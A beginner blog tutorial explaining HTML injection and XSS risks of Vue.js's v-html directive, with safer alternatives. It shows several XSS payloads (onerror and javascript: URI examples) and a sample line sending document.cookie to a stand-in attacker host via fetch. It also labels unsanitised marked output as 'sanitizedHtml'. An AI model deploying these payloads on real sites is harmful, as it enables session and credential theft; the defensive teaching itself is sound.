Vue.js and HTML Injection Explained in Simple Terms

Do you use v-html in your Vue.js apps? If you do, you might be in danger of HTML injection attacks. In this article, we'll show you:

  • How v-html can be risky
  • Examples of when NOT to use v-html
  • Alternatives to v-html
  • When it's okay to use v-html

Let's get started!

How Does v-html Put You at Risk of HTML Injection?

In Vue.js, v-html lets you display a string that contains HTML tags, and it will turn those tags into real HTML elements on the page.

<script setup>
import { ref } from 'vue';

const html = ref('<strong>Hello</strong> world');
</script>

<template>
  <p v-html="html"></p>
</template>
        

This is different from using double curly braces {{ }}. When you use {{ }}, Vue will show the HTML tags as plain text, not as real HTML elements.

<script setup>
import { ref } from 'vue';

const html = ref('<strong>Hello</strong> world');
</script>

<template>
  <p>{{ html }}</p>
</template>
        

Output:

<p>&lt;strong&gt;Hello&lt;/strong&gt; world</p>
        

Because v-html can display any HTML tags, it means someone could put bad stuff into your site.

Attackers Can Mess Up Your Site with HTML Injection

For example, a bad person could change the style of your page by adding a <style> tag:

<script setup>
import { ref } from 'vue';

const html = ref('<style>body { background: green !important; }</style>');
</script>

<template>
  <div v-html="html"></div>
</template>
        

This would make your website's background turn green.

They could also put lots of unwanted images on your page:

<script setup>
import { ref } from 'vue';

const html = ref('<style>body { background: url("https://example.com/unwanted-image.jpg") repeat; }</style>');
</script>

<template>
  <div v-html="html"></div>
</template>
        

Attackers Could Inject Bad Scripts (Cross-Site Scripting or XSS)

Making your site look bad is one thing, but attackers can do worse. They might inject scripts that:

  • Redirect users to fake sites to steal their login info.
  • Read users' data and send it to themselves.

This is called Cross-Site Scripting (XSS).

Example: Injecting Scripts with Event Handlers

Even if you can't put <script> tags directly, attackers can still run scripts using things like onerror in an image:

<script setup>
import { ref } from 'vue';

const html = ref(`
  <img 
    src="non-existent.jpg" 
    onerror="alert('XSS Attack!');"
    style="display: none;"
  />
`);
</script>

<template>
  <div v-html="html"></div>
</template>
        

When the image fails to load, the onerror runs the alert.

Example: Using JavaScript in Links

Attackers can use javascript: in links:

<script setup>
import { ref } from 'vue';

const html = ref('<a href="javascript:alert(\'XSS via JavaScript URI\');">Click me</a>');
</script>

<template>
  <div v-html="html"></div>
</template>
        

If someone clicks the link, the script runs.

Example: Injecting Bad CSS

Sometimes, CSS can run scripts too:

<script setup>
import { ref } from 'vue';

const html = ref('<div style="background-image: url(\'javascript:alert("XSS via CSS")\')">Hover over me</div>');
</script>

<template>
  <div v-html="html"></div>
</template>
        

Even though browsers try to stop this, it's risky to rely on that.

Examples of When NOT to Use v-html

Now, let's look at times when you might think about using v-html, but you shouldn't.

Saving HTML Comments from Users

Imagine you're making a social media site, and you want users to write comments with bold text, italics, etc. You might think to use a text editor that outputs HTML, save that HTML, and then display it using v-html:

<script setup>
import { ref } from 'vue';

const userComment = ref('<p>This is a <strong>great</strong> post!</p>');
</script>

<template>
  <div v-html="userComment"></div>
</template>
        

Why is this bad?

A bad user could submit something like:

<img src="x" onerror="alert('XSS Attack!');" />
        

When you display this with v-html, it will run the alert.

Example: Bad Comment Injection

<script setup>
import { ref } from 'vue';

const userComment = ref('<img src="x" onerror="fetch(\'https://badguy.com/steal?cookie=\' + document.cookie);" />');
</script>

<template>
  <div v-html="userComment"></div>
</template>
        

This could send the user's cookies to the bad guy.

Using HTML from URL Parameters

Suppose you're making a landing page that changes based on the URL parameters:

<template>
  <div v-html="$route.query.heroCopy"></div>
</template>
        

An attacker could make a URL like:

https://your-site.com?heroCopy=<img src=x onerror=alert('XSS')>
        

If someone clicks this link, the script runs.

Alternative Ways Instead of Using v-html

So, how can you get similar features without using v-html and risking attacks?

Use Text Interpolation ({{ }})

If you don't need to show HTML tags, use {{ }}:

<template>
  <p>{{ userComment }}</p>
</template>
        

This will show the HTML tags as plain text.

Clean User Input on the Server

If you have to display user-provided HTML, make sure to clean it on the server before saving or showing it.

Example: Using sanitize-html in Node.js

const sanitizeHtml = require('sanitize-html');

function sanitizeUserComment(comment) {
  return sanitizeHtml(comment, {
    allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
    allowedAttributes: {
      'a': ['href']
    }
  });
}
        

Use Markdown

Let users write in Markdown, which you can convert to HTML safely.

Example: Rendering Markdown with marked

<script setup>
import { ref } from 'vue';
import { marked } from 'marked';

const userCommentMarkdown = ref('**Bold Text** and _Italic Text_');

const sanitizedHtml = marked.parse(userCommentMarkdown.value);
</script>

<template>
  <div v-html="sanitizedHtml"></div>
</template>
        

Use Editors That Output Safe Formats

Some text editors output data in formats like JSON, which you can render safely.

Example: Using TipTap Editor

TipTap can give you content in a JSON format:

{
  "type": "doc",
  "content": [
    {
      "type": "paragraph",
      "content": [
        {
          "type": "text",
          "text": "Hello World"
        }
      ]
    }
  ]
}
        

You can then render this without risking HTML injection.

Don't Render HTML from URL Parameters

Instead of accepting raw HTML, accept plain text:

<template>
  <h1>{{ $route.query.headline }}</h1>
  <h2>{{ $route.query.subheadline }}</h2>
</template>
        

When Is It Okay to Use v-html?

There are times when using v-html is safe.

Trusted Content Sources

If the HTML comes from a source you trust, like an admin, it's okay.

Example: Admin Content

<script setup>
import { ref } from 'vue';

const adminContent = ref('<h2>Welcome to the Admin Dashboard</h2><p>You can manage the site here.</p>');
</script>

<template>
  <div v-html="adminContent"></div>
</template>
        

Cleaned Content

If you have cleaned the content before showing it:

<script setup>
import { ref } from 'vue';

const sanitizedContent = ref(fetchSanitizedContentFromServer());
</script>

<template>
  <div v-html="sanitizedContent"></div>
</template>
        

Rendering Static HTML

When you need to show some static HTML that's part of your app:

<script setup>
import { ref } from 'vue';

const staticHtml = ref('<ul><li>Item One</li><li>Item Two</li></ul>');
</script>

<template>
  <div v-html="staticHtml"></div>
</template>
        

Conclusion

While v-html can be useful, it can also be dangerous if not used carefully. Before using it:

  • Think about if you really need dynamic HTML.
  • Clean any user content before showing it.
  • Use safer options like Markdown or structured data.

By being careful, you can keep your apps safe from HTML injection attacks.

要查看或添加评论,请登录

Dev Kabir的更多文章